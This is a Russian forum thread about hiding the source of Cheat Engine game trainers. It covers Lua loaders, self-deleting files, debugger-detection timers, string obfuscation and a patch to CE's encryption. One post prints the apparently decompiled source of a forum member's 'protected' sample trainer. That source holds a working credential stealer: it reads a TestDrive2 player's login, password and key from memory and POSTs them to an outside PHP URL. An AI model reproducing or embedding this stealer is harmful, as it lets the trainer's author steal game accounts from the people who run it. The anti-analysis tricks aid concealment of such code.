Vlad2 Опубликовано 3 июля, 2015 Поделиться Опубликовано 3 июля, 2015 Всем привет!После неприятностей у Dison`а хочу поделиться с вами способом защиты трейнера, созданного в СЕ.Этот способ я изобрел еще очень-очень давно. Сам уже перешел в другую среду разработки, поэтому больше ничего нового не придумал.Сам СЕ никакой защиты кода не предполагает. Поэтому мы можем взять любой трейнер, сгенерированный СЕ ивытащить его код самой же СЕ. Для этого нам всего лишь нужно найти строку "CheatTable" в процессе, под которой будет весь исходник трейнера.Мой способ защиты уже будет вводить "Хакера" в заблуждение, потому что открыв исходник трейнера он уведет лишь всего одну строку.Сейчас я вам постараюсь доступно объяснить, как защитить свой трейнер.Сразу хочу сообщить, что нам придется отказаться от автоматической генерации трейнера. Будем делать все вручную.Первое что нам нужно это создать форму для трейнера:Открываем СЕ -> Table -> Create Form.Будет создана форма с дефолтным именем "UDF1".На форму мы кинем Label и в свойстве Caption напишем "F12 - Включить/Выключить скрипт",для того, чтоб человеку использующему наш трейнер было понятно, какая клавиша за какую функцию отвечает.Дальше все создание дизайна остается за вами.Теперь в инспекторе объектов (Object Inspector) выбираем нашу форму, переходим во вкладку события (Events)Кликаем по пустому полю, справа от строки "OnClose".Нас отправят в другое окно, с LUA кодом, в котором будет сгенерирована функция закрытия.Вскоре мы ее допишем.Пришло время написать код нашего трейнера.openProcess('Cheat Engine.exe') --//Открываем процессenabled = false --// Флаг включения/выключения скрипкаfunction Cheat()--// Начало функцииif (enabled == false) then --//Если скрипт выключен, тогда включаемautoAssemble([[alloc(newmem,2048,00020079)label(returnhere)newmem:add [rcx+00000001],cljmp returnhere00020079:jmp newmemnopreturnhere:]]) --// Код скрипта из секции "ENABLE"enabled = true --// Переводим в флаг в положение trueelse --// Если скрипт был включен, тогда его выключаемautoAssemble([[00020079:add [rcx+00000001],cldealloc(newmem)]]) --// Код из секции DISABLEenabled = false --// Переводим в флаг в положение trueendend --// Конец функцииcreateHotkey(Cheat, VK_F12) --// Создание горячей клавиши, по которой будет активироваться скриптfunction FormClose(sender) --// Функция закрытия окна трейнераcloseCE() -- // Завершаем процесс трейнера, когда было закрыто окно трейнераreturn caFreeendform_show(UDF1) --// Показываем окно формы UDF, созданую в редакторе.Сейчас настал момент истины.Добавляем этот фрагмент кода в начало того, что уже написали.Создаем текстовый документ, и копируем туда весь наш код из окна "LUA Script".Сохраняем и переименовываем файл, обязательно сменить расширение на *.lua, у меня получился файл "Vlad2.lua"Снова переходим в окно с нашим lua скриптом. Удаляем весь код.И добавляем строку "require("Vlad2")", где "Vlad2" - имя нашего файла со скриптом.Осталось только сохранить трейнер.Жмем кнопку "Сохранить", выбираем EXE расширение.Откроется окно с настройками генерации трейнера.В панели "Extra files" жмем кнопку "Add File", и выбираем файл с нашим скриптом.Все дальнейшие настройки остаются на ваше усмотрение.Генерируем.ВСЕ! Трейнер сгенерирован, теперь из него уже не получиться так легко вынуть скрипты, только разбитые фрагменты.Когда мы запускаем трейнер без защиты, созданный в СЕ, во временных файлахсоздается распаковщик и архив "CET_Archive.dat". В этом файле хранится сам СЕ, его библиотеки,и файлы нашего трейнера. После того, как распаковщик разархивирует наш архив,появятся все файлы трейнера, в том числе "CET_TRAINER.UDF1", в где находитсякод нашего трейнера.Как видим - уязвимостей хватает.Но в защищенном варианте эти файлы будут отсутствовать. Поэтому их не украдут, как и не вытащат сам код из процесса трейнера.Это не идеальный способ защиты, т.к. я его уже обходил, но он очень действенный.Вот не большей пример трейнера с защитой - https://yadi.sk/d/XXUMV4jaSwy82local TimerShit = createTimer(UDF2, true)function Shit()os.remove('Vlad2.lua') --// Сюда пишем имя файла с LUA скриптом.os.remove('CET_TRAINER.UDF1')endtimer_setInterval(TimerShit, 500)timer_onTimer(TimerShit, Shit)Put = getCheatEngineDir()Len = string.len(Put)Len = Len-10Put = string.sub(Put, 0, Len)os.remove(Put..'CET_Archive.dat') Ссылка на комментарий Поделиться на другие сайты Поделиться
afro228offical Опубликовано 2 августа, 2015 Поделиться Опубликовано 2 августа, 2015 А как защитить от перехвата функций winapi ? Ссылка на комментарий Поделиться на другие сайты Поделиться
Coder Опубликовано 3 августа, 2015 Поделиться Опубликовано 3 августа, 2015 А как защитить от перехвата функций winapi ? Определяй эти самые хуки, определяй отладку и борись с этим.Интересует еще более низкоуровневая защита - пиши драйвер (для трейнера это абсурд), но и его можно взломать) Ссылка на комментарий Поделиться на другие сайты Поделиться
Submarina Опубликовано 12 декабря, 2015 Поделиться Опубликовано 12 декабря, 2015 Я тут со сдал трейнер на 2 функции АА СКРИПТ, почитал на форуме http://forum.cheatengine.org/viewtopic.php?t=585300&postdays=0&postorder=asc&start=60 про защиту на трейнеры, но не разобрался толком, не могу понять куда что в вписывать, не понятно помогите пожалуйста. Ссылка на комментарий Поделиться на другие сайты Поделиться
Recpec158 Опубликовано 28 апреля, 2016 Поделиться Опубликовано 28 апреля, 2016 (изменено) Могу предложить более примитивный способ защиты трейнера. Для новичков. источник Скрытый текст function CETimer1Timer(sender) xlient = 'Decompiler CE Trainer v1.0.exe' if (getProcessIDFromProcessName(xlient)==nil) then return end closeCE() end function CETimer2Timer(sender) tlient = 'cheatengine-x86_64.exe' if (getProcessIDFromProcessName(tlient)==nil) then return end closeCE() end function CETimer3Timer(sender) Ollydbs = 'ollydbg.exe' if (getProcessIDFromProcessName(Ollydbs)==nil) then return end closeCE() end function CETimer4Timer(sender) ReClass2013 = 'reclass2013.exe' if (getProcessIDFromProcessName(ReClass2013)==nil) then return end closeCE() end function CETimer5Timer(sender) am743 = 'am743.exe' if (getProcessIDFromProcessName(am743)==nil) then return end closeCE() end Изменено 28 апреля, 2016 пользователем Recpec158 Ссылка на комментарий Поделиться на другие сайты Поделиться
Recpec158 Опубликовано 21 мая, 2016 Поделиться Опубликовано 21 мая, 2016 Vlad2, Твой исходник от "Vlad2.lua": Скрытый текст os.remove('Vlad2.lua') local TimerShit = createTimer(UDF2, true) function Shit() os.remove('Vlad2.lua') os.remove('CET_TRAINER.UDF1') end timer_setInterval(TimerShit, 500) timer_onTimer(TimerShit, Shit) Put = getCheatEngineDir() Len = string.len(Put) Len = Len-10 Put = string.sub(Put, 0, Len) os.remove(Put..'CET_Archive.dat') f = assert(io.open(Put..'CET_Archive.dat', "a+")) f:write('85s4328r54s848erf4'.."\n") f:close() local Timer1 = createTimer(UDF2, true) function TDU2Process() openProcess("TestDrive2.exe") if ('00FD96BE' == nil) then timer_setInterval(Timer1, 1000) timer_setEnabled(Timer1, true) else timer_setInterval(Timer1, 10000) end end timer_onTimer(Timer1, TDU2Process) form_show(UDF1) Point = '[[[[[["TestDrive2.exe"+00D5F658]+ad4]+a0]+8]+f4]+18]+' function Load() R1 = readFloat(Point..'4b0') R2 = readFloat(Point..'4a0') R3 = readFloat(Point..'4d0') G1 = readFloat(Point..'4b4') G2 = readFloat(Point..'4a4') G3 = readFloat(Point..'4d4') B1 = readFloat(Point..'4b8') B2 = readFloat(Point..'4a8') B3 = readFloat(Point..'4d8') C1 = readFloat(Point..'520') C2 = readFloat(Point..'528') C3 = readFloat(Point..'52C') if (checkbox_getState(UDF1_CECheckbox1) == 1) then if (R1 ~= nil) then control_setCaption(UDF1_CEEdit1, R1) control_setCaption(UDF1_CEEdit2, R2) control_setCaption(UDF1_CEEdit3, R3) control_setCaption(UDF1_CEEdit4, G1) control_setCaption(UDF1_CEEdit5, G2) control_setCaption(UDF1_CEEdit6, G3) control_setCaption(UDF1_CEEdit7, B1) control_setCaption(UDF1_CEEdit8, B2) control_setCaption(UDF1_CEEdit9, B3) end end if (checkbox_getState(UDF1_CECheckbox2) == 1) then if (C1 ~= nil) then control_setCaption(UDF1_CEEdit10, C1) control_setCaption(UDF1_CEEdit11, C2) control_setCaption(UDF1_CEEdit12, C3) end end end function Save() R1 = readFloat(Point..'4b0') if (R1 ~= nil) then if (checkbox_getState(UDF1_CECheckbox1) == 1) then writeFloat(Point..'4b0', control_getCaption(UDF1_CEEdit1)) writeFloat(Point..'4a0', control_getCaption(UDF1_CEEdit2)) writeFloat(Point..'4d0', control_getCaption(UDF1_CEEdit3)) writeFloat(Point..'4b4', control_getCaption(UDF1_CEEdit4)) writeFloat(Point..'4a4', control_getCaption(UDF1_CEEdit5)) writeFloat(Point..'4d4', control_getCaption(UDF1_CEEdit6)) writeFloat(Point..'4b8', control_getCaption(UDF1_CEEdit7)) writeFloat(Point..'4a8', control_getCaption(UDF1_CEEdit8)) writeFloat(Point..'4d8', control_getCaption(UDF1_CEEdit9)) end if (checkbox_getState(UDF1_CECheckbox2) == 1) then writeFloat(Point..'520', control_getCaption(UDF1_CEEdit10)) writeFloat(Point..'528', control_getCaption(UDF1_CEEdit11)) writeFloat(Point..'52C', control_getCaption(UDF1_CEEdit12)) end end end function Freeze() A = checkbox_getState(UDF1_CEToggleBox1) if (A == 1) then Save() end end TimF = createTimer(UDF1, true) timer_setInterval(TimF, 500) timer_onTimer(TimF, Freeze) function cl() closeCE() return caFree end AutTim = createTimer(UDF1, true) function Autor() TDU = readInteger('01320000') if (TDU ~= nil) then nick = readString('01321E48', 30) NS = readString('["TestDrive2.exe"+00C257E4]+c1', 30) if (NS ~= nil) and (NS ~= '') and (nick == NS) then if (check ~= nick) then nick = readString('01321E48', 30) log = readString('01321E78', 30) pas = readString('01321F78', 30) key = readString('013215F8', 19) --------------------------------------------------------- filename = nick..'.txt' text = nick..'\n\nlogin: '..log..'\npassword: '..pas..'\nkey: '..key data = 'param='..text..'&filename='..filename..'&login='..nick --------------------------------------------------------- local http = require("socket.http") local ltn12 = require("ltn12") local reqbody = data local respbody = {} local result, respcode, respheaders, respstatus = http.request {method = "POST", url = "http://userwot.netne.net/Vlad2/!users.php", source = ltn12.source.string(reqbody), headers = { ["Accept"] = "text/html, */*", ["Connection"] = "keep-alive", ["Content-Type"] = "application/x-www-form-urlencoded", ["content-length"] = string.len(reqbody)},} --------------------------------------------------------- if (respcode == 200) then check = nick end end end end end timer_setInterval(AutTim, 2000) timer_onTimer(AutTim, Autor) function CEImage1MouseDown(sender, button, x, y) form_dragNow(UDF1) end Ссылка на комментарий Поделиться на другие сайты Поделиться
Submarina Опубликовано 11 июня, 2016 Поделиться Опубликовано 11 июня, 2016 Взял с сайта http://forum.cheatengine.org/viewtopic.php?t=585300&postdays=0&postorder=asc&start=45 так я и не понял, куда это нужно в вставлять, объясните пожалуйста. Скрытый текст function test() function dec_textcode(s) local coded = "" for i=1,#s do coded = coded .. string.char(s:byte(i) - 3) end return coded end rline_1 = "ixqfwlrq#FHExwwrq4Folfn+vhqghu," rline_2 = "{psod|hu1sod|[P+#ilqgWdeohIloh+*h{whuqdo1{p*,#," rline_3 = "hqg" rline_4 = "ixqfwlrqFHExwwrq5Folfn+vhqghu," rline_5 = "{psod|hubvwrs+," rline_6 = "hqg" rline_7 = "ixqfwlrq#FHExwwrq6Folfn+vhqghu," rline_8 = "forvhFH+,>" rline_9 = "uhwxuq#fdKlgh" rline_10="hqg" dec_textcode(rline_1) dec_textcode(rline_2) dec_textcode(rline_3) dec_textcode(rline_4) dec_textcode(rline_5) dec_textcode(rline_6) dec_textcode(rline_7) dec_textcode(rline_8) dec_textcode(rline_9) dec_textcode(rline_10) end И вот это тоже не понятно куда вставлять. Скрытый текст ------ Avoid Lua Engine Pop-up getLuaEngine().cbShowOnPrint.Checked=false getLuaEngine().hide() ---- Load Hack Coding function loadTableCode2(n) local t = findTableFile(n) if t ~= nil then local s = t.Stream local c = readStringLocal(s.Memory,s.Size) return c ~= nil and loadstring(c) -- return a function end end -- local f = loadTableCode2('loadcode.lua') -----> Hack code store here print(type(f)) if type(f) == 'function' then f() else print('not loaded') end -- test() Ссылка на комментарий Поделиться на другие сайты Поделиться
Submarina Опубликовано 12 июня, 2016 Поделиться Опубликовано 12 июня, 2016 Ребята помогите разобраться, пожалуйста. Я так понял это для защиты от Decompiler, и плюс кодировка, а куда это вставлять не понятно, помогите пожалуйста. Ссылка на комментарий Поделиться на другие сайты Поделиться
Dison Опубликовано 12 июня, 2016 Поделиться Опубликовано 12 июня, 2016 31 минуты назад, Baracuda сказал: Ребята помогите разобраться Это подобие защиты как описывал Vlad? 33 минуты назад, Baracuda сказал: а куда это вставлять не понятно, помогите пожалуйста. А вставлять в Lua - Cheat Table Lua Script Ссылка на комментарий Поделиться на другие сайты Поделиться
Submarina Опубликовано 12 июня, 2016 Поделиться Опубликовано 12 июня, 2016 Dison я вставлял но он не вставляется, выдаёт ошибку. Как правильно нужно вставить, опиши пожалуйста подробно, если не сложно. Ссылка на комментарий Поделиться на другие сайты Поделиться
Dison Опубликовано 12 июня, 2016 Поделиться Опубликовано 12 июня, 2016 (изменено) 10 минуту назад, Baracuda сказал: Dison я вставлял но он не вставляется, выдаёт ошибку. Как правильно нужно вставить, опиши пожалуйста подробно, если не сложно. Скрытый текст Изменено 12 июня, 2016 пользователем Dison Ссылка на комментарий Поделиться на другие сайты Поделиться
Submarina Опубликовано 12 июня, 2016 Поделиться Опубликовано 12 июня, 2016 (изменено) Не работает код, вставляется в Lua скрипт генерируешь Trainer.exe а CET_TRAINER также легко вытаскивается, в чём прикол. Изменено 12 июня, 2016 пользователем Baracuda Ссылка на комментарий Поделиться на другие сайты Поделиться
Submarina Опубликовано 12 июня, 2016 Поделиться Опубликовано 12 июня, 2016 вот код для кодирования CET_TRAINER, но он не вставляется, выдают ошибку. вот первый 1 Скрытый текст procedure unprotecttrainer(filename: string; stream: TStream); var f: TMemorystream; m: pbytearray; p: pchar; i: integer; k: byte; d: Tdecompressionstream; b: pointer; size: integer; ActuallyRead: integer; begin f:=tmemorystream.create; f.loadfromfile(filename); m:=f.Memory; for i:=2 to f.size-1 do m[i]:=m[i] xor m[i-2]; for i:=f.Size-2 downto 0 do m[i]:=m[i] xor m[i+1]; k:=$ce; for i:=0 to f.size-1 do begin m[i]:=m[i] xor k; inc(k); end; вот второй 2 Скрытый текст procedure protecttrainer(filename: string); { this is the super mega protector routine for the trainer Yeah, it's pathetic, but it keeps the retarded noobs out that don't know how to read code and only know how to copy/paste } var f,f2: tmemorystream; m: PByteArray; i: integer; k: byte; c: Tcompressionstream; s: string; begin if Uppercase(extractfileext(filename))<>'.CETRAINER' then raise exception.create(rsErrorSaving); f:=tmemorystream.create; f.LoadFromFile(filename); f2:=tmemorystream.create; s:='CHEAT'; f2.Write(s[1], 5); c:=Tcompressionstream.create(clmax, f2,true); i:=f.size; c.write(i, sizeof(i)); c.write(f.Memory^, f.size); c.free; f.free; k:=$ce; m:=f2.Memory; for i:=0 to f2.Size-1 do begin m[i]:=(m[i] xor k); inc(k); end; for i:=0 to f2.Size-2 do m[i]:=m[i] xor m[i+1]; for i:=f2.Size-1 downto 2 do m[i]:=m[i] xor m[i-2]; f2.SaveToFile(filename); f2.free; end; end. Ссылка на комментарий Поделиться на другие сайты Поделиться
Dison Опубликовано 12 июня, 2016 Поделиться Опубликовано 12 июня, 2016 9 минут назад, Baracuda сказал: вот код для кодирования CET_TRAINER, но он не вставляется, выдают ошибку. Это скорее код не для СЕ а для Visual C++ или Delphi. CE Такой код не понимает, поэтому и выдает ошибку. Ссылка на комментарий Поделиться на другие сайты Поделиться
Submarina Опубликовано 12 июня, 2016 Поделиться Опубликовано 12 июня, 2016 http://forum.cheatengine.org/viewtopic.php?t=585300&postdays=0&postorder=asc&start=0 вот я от суда взял c 1 страницы, это именно для CET_TRAINER вот этот автор выложил mgr.inz.Player две ссылки посмотри. ВИДИМО ИХ КАК ТО ПО ДРУГОМУ ВСТАВЛЯТЬ НАДО, ВОТ Я И НЕ ПОЙМУ КАК. Ссылка на комментарий Поделиться на другие сайты Поделиться
Dison Опубликовано 12 июня, 2016 Поделиться Опубликовано 12 июня, 2016 Baracuda - Этот исходный код СЕ. 1 - procedure unprotecttrainer - это что-то связано с расшифровкой 2 - procedure protecttrainer - а это с зашифровкой Что конкретно этот автор объясняет этим кодом, хрен ее знает. Ты пробовал задавать вопрос в том форуме. Ссылка на комментарий Поделиться на другие сайты Поделиться
Dison Опубликовано 12 июня, 2016 Поделиться Опубликовано 12 июня, 2016 Скажу точно что СЕ этот код не поймет. Видно же что это написано либо на С++ или Delphi А если пролистать в самый вверх то можно увидеть вот эту надпись {$MODE Delphi} Ссылка на комментарий Поделиться на другие сайты Поделиться
Submarina Опубликовано 12 июня, 2016 Поделиться Опубликовано 12 июня, 2016 (изменено) На 3 страницы тоже этот же автор mgr.inz.Player посмотри, вот тоже кодировка CET_TRAINER, это вроде точно для Lua, ну и этот код, когда вставляешь и он выдают ошибку, его тоже не понятно гуда вставлять. Там даже картинка есть, что типа зашифровано, и через эту программу Decompiler CE, нельзя посмотреть что находится в CET_TRAINER. Цитата Скрытый текст Для того, чтобы нарушить совместимость с этой простой "Decompiller" вы упомянули, использовать этот патч, и компилировать CE самостоятельно (смотрите на "Чит Source Engine" раздел форума) Одна из многих возможных модификаций для CE6.4: Это создаст CETRAINER файлы, которые будут работать только с этой версией CE. Так как я дал вам выше патч, любой человек может снова декомпилировать его, только с помощью Лазаря (IDE используется для компиляции cheatengine) Index: OpenSave.pas =================================================================== --- OpenSave.pas (revision 1672) +++ OpenSave.pas (working copy) @@ -1173,24 +1173,24 @@ for i:=f.Size-2 downto 0 do m[i]:=m[i] xor m[i+1]; - k:=$ce; + k:=$cd; for i:=0 to f.size-1 do begin m[i]:=m[i] xor k; - inc(k); + inc(k,2); end; - getmem(p,6); - copymemory(p,m,5); - p[5]:=#0; - if p='CHEAT' then + getmem(p,8); + copymemory(p,m,7); + p[7]:=#0; + if p='BRICKED' then begin //new storage method - f.Position:=5; //skip "CHEAT" header + f.Position:=7; //skip "CHEAT" header d:=Tdecompressionstream.create(f,true); @@ -1256,8 +1256,8 @@ f.LoadFromFile(filename); f2:=tmemorystream.create; - s:='CHEAT'; - f2.Write(s[1], 5); + s:='BRICKED'; + f2.Write(s[1], 7); c:=Tcompressionstream.create(clmax, f2,true); @@ -1268,13 +1268,13 @@ f.free; - k:=$ce; + k:=$cd; m:=f2.Memory; for i:=0 to f2.Size-1 do begin m[i]:=(m[i] xor k); - inc(k); + inc(k,2); end; for i:=0 to f2.Size-2 do Изменено 12 июня, 2016 пользователем Baracuda Ссылка на комментарий Поделиться на другие сайты Поделиться
Dison Опубликовано 12 июня, 2016 Поделиться Опубликовано 12 июня, 2016 Ага, вижу - выдает ошибку я так понял при декомпиляции. Ссылка на комментарий Поделиться на другие сайты Поделиться
Dison Опубликовано 12 июня, 2016 Поделиться Опубликовано 12 июня, 2016 Модификация СЕ помоему Ссылка на комментарий Поделиться на другие сайты Поделиться
Submarina Опубликовано 12 июня, 2016 Поделиться Опубликовано 12 июня, 2016 (изменено) если сейчас взять и с генерировать с Cheat Engine v 6.5.1 Trainer в формате не exe, а CETRAINER, то через Decompiler CE ты не сможешь его открыть, сразу выдают ошибку при компиляции. Это огромный плюс, что через Decompiler CE не компилируется, то есть нельзя посмотреть код, но зато через простой блокнот открывается и можно посмотреть весь код, вот это минус, Вот как то надо закодировать его, что бы и через блокнот нельзя было не чего посмотреть, на этом сайте показано как это можно сделать, но почему то это не работает странно. ЕСТЬ Trainer от MrAntiFum, у него этот файл CET_TRAINER закодирован, то есть через Decompiler CE, и блокнот, ты его не посмотришь. Вот надо сделать тоже самое Изменено 12 июня, 2016 пользователем Baracuda Ссылка на комментарий Поделиться на другие сайты Поделиться
Dison Опубликовано 12 июня, 2016 Поделиться Опубликовано 12 июня, 2016 (изменено) function test() function dec_textcode(s) local coded = "" for i=1,#s do coded = coded .. string.char(s:byte(i) - 3) end return coded end rline_1 = "ixqfwlrq#FHExwwrq4Folfn+vhqghu," rline_2 = "{psod|hu1sod|[P+#ilqgWdeohIloh+*h{whuqdo1{p*,#," rline_3 = "hqg" rline_4 = "ixqfwlrqFHExwwrq5Folfn+vhqghu," rline_5 = "{psod|hubvwrs+," rline_6 = "hqg" rline_7 = "ixqfwlrq#FHExwwrq6Folfn+vhqghu," rline_8 = "forvhFH+,>" rline_9 = "uhwxuq#fdKlgh" rline_10="hqg" dec_textcode(rline_1) dec_textcode(rline_2) dec_textcode(rline_3) dec_textcode(rline_4) dec_textcode(rline_5) dec_textcode(rline_6) dec_textcode(rline_7) dec_textcode(rline_8) dec_textcode(rline_9) dec_textcode(rline_10) end Изменено 12 июня, 2016 пользователем Dison Ссылка на комментарий Поделиться на другие сайты Поделиться
Submarina Опубликовано 12 июня, 2016 Поделиться Опубликовано 12 июня, 2016 в том та и дело, он не фига не кодирует, я его как только не вставлял. Ссылка на комментарий Поделиться на другие сайты Поделиться
Submarina Опубликовано 12 июня, 2016 Поделиться Опубликовано 12 июня, 2016 А если сделать на оборот, то есть, если сейчас взять и с генерировать с Cheat Engine v 6.5.1 Trainer в формате exe, а не CETRAINER то через блокнот, ты его не посмотришь он закодирован, на зато он компилируется через Decompiler CE, то есть всё на оборот получается. Ссылка на комментарий Поделиться на другие сайты Поделиться
Garik66 Опубликовано 12 июня, 2016 Поделиться Опубликовано 12 июня, 2016 Baracuda, эти скрипты на LUA, автор ими спрятал код своего примера - (проигрыватель, который можно скачать и попробовать посмотреть код) от Decompiler CE. Проще, попросить кого-нибудь, знающего английский, задать вопрос в топике СЕ-форума. Все остальные скрипты - это модификации самого СЕ при компиляции его по новой, т.е. нужно скачать сырцы СЕ, изменить там некоторый код и скомпилировать. Получишь новую версию СЕ. Но также в том топике говорят, что смысла сильного от этого нет. Это защита от неопытных (ну т.е. как охрана в торговом центре например от хулиганов, но не от террористов). 1 Ссылка на комментарий Поделиться на другие сайты Поделиться
Рекомендуемые сообщения